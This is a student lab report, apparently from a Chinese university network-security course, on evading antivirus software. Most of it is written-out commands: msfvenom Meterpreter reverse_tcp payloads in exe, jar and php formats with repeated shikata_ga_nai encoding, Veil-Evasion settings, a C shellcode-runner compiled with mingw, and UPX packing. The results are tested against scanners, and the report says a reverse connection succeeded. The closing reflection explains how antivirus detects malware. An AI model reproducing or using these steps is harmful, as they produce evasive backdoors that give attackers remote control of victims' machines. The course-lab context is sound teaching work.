2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
一、实践目标
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
1.2 通过组合应用各种技术实现恶意代码免杀
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(因为Win10的自带实时监控杀毒墙,一运行文件就自动删除,所以没有做这个加分项)
二、基础知识
- 免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
三、Exp3.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
实验步骤:
- 正确使用msf编码器,生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.1 LPORT=5237 -f exe >fenix.exe
使用virscan进行扫描,结果如下所示:
使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.1 LPORT=5237 -f exe > met-encoded.exe
上传到virus total试试免杀操作是否有效
使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.137.1 lport=5237 x> 20165237_backdoor_java.jar
- 使用php后门程序生成命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.153.135 lport=443 x> 20165237_backdoor.php
- 使用veil
use evasion
use 7
set Lhost 192.168.153.135
set Lport 5237
然后再输入后门程序的文件名:payload5237
用virscan看看查杀表现:
四、Exp3.2Linux平台交叉编译Windows应用
实验原理
- 执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.135 LPORT=5237 -f c
- 新建20165237.c文件,并且将下列代码输入:
unsigned char buf[] =
此处省略。
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:
i686-w64-mingw32-g++ 20165237.c -o 20165237.exe
编译这个.c文件为可执行文件;
检测结果:
然后把它挂上virus total测一下:
加压缩壳:
upx 20165237.exe -o 20165237plus.exe
使用杀软扫描桌面文件,没有报警
运行后门程序,反弹连接成功
(由于Win10自带的windows defendedr有强制实时监测,所以当点开恶意程序时直接被删除,导致无法回连。。想加分都加不了)
五、实验感想与问题
-
1、杀软是如何检测出恶意代码的?
答:基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。 2、免杀是做什么?
答:让后门程序不被杀软检测出来3、免杀的基本方法有哪些?
答:msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion感想:
答:这次实验让我感受到其实杀毒软件只能杀很常规的病毒或者恶意程序,虽然病毒库在持续更新,但是总会有未被查出的恶意软件或者恶意代码进入到自己的计算机,有一天破坏电脑数据。所以以后一定要注意安全上网,不要访问非法网站或者点开非法连接,说不定点开就会导致恶意软件的启动,从而被盗取计算机中的信息!